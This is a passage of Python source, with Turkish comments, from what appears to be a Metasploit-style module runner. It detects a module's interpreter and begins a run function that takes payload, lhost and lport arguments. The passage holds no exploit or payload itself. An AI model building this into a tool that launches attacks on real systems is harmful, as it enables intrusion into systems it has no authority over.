elif "csharp" in first_line or "dotnet" in first_line:
return "csharp"
elif "sql" in first_line:
return "sqlcmd"
elif "html" in first_line:
return "browser"
# 4. Ne uzantı ne de shebang tespit edilemiyorsa, varsayılan olarak Python 3 döndür
print(f"{Fore.YELLOW}[+] No valid interpreter found. Defaulting to python3 for module: {Fore.CYAN}{module_path}{Style.RESET_ALL}")
return "python3"
except Exception as e:
print(f"{Fore.RED}[!] Error detecting interpreter for {Fore.CYAN}{module_path}{Style.RESET_ALL}: {e}{Style.RESET_ALL}")
return "python3" # Hata durumunda python3 döndür
def run_module(skar3792=None, payload=None, lhost=None, lport=None):
global modules
if not modules:
print(f"{Fore.RED}[!] No module loaded. Use 'use intframework/path/to/module_name' to load one.{Style.RESET_ALL}")
return
try:
# Modülü analiz et
print(f"{Fore.YELLOW}[*] Inspecting module: {Fore.CYAN}{modules}{Style.RESET_ALL}")
interpreter = detect_interpreter(modules)
if not interpreter:
print(f"{Fore.RED}[!] Error: Could not detect the interpreter for the module.{Style.RESET_ALL}")
return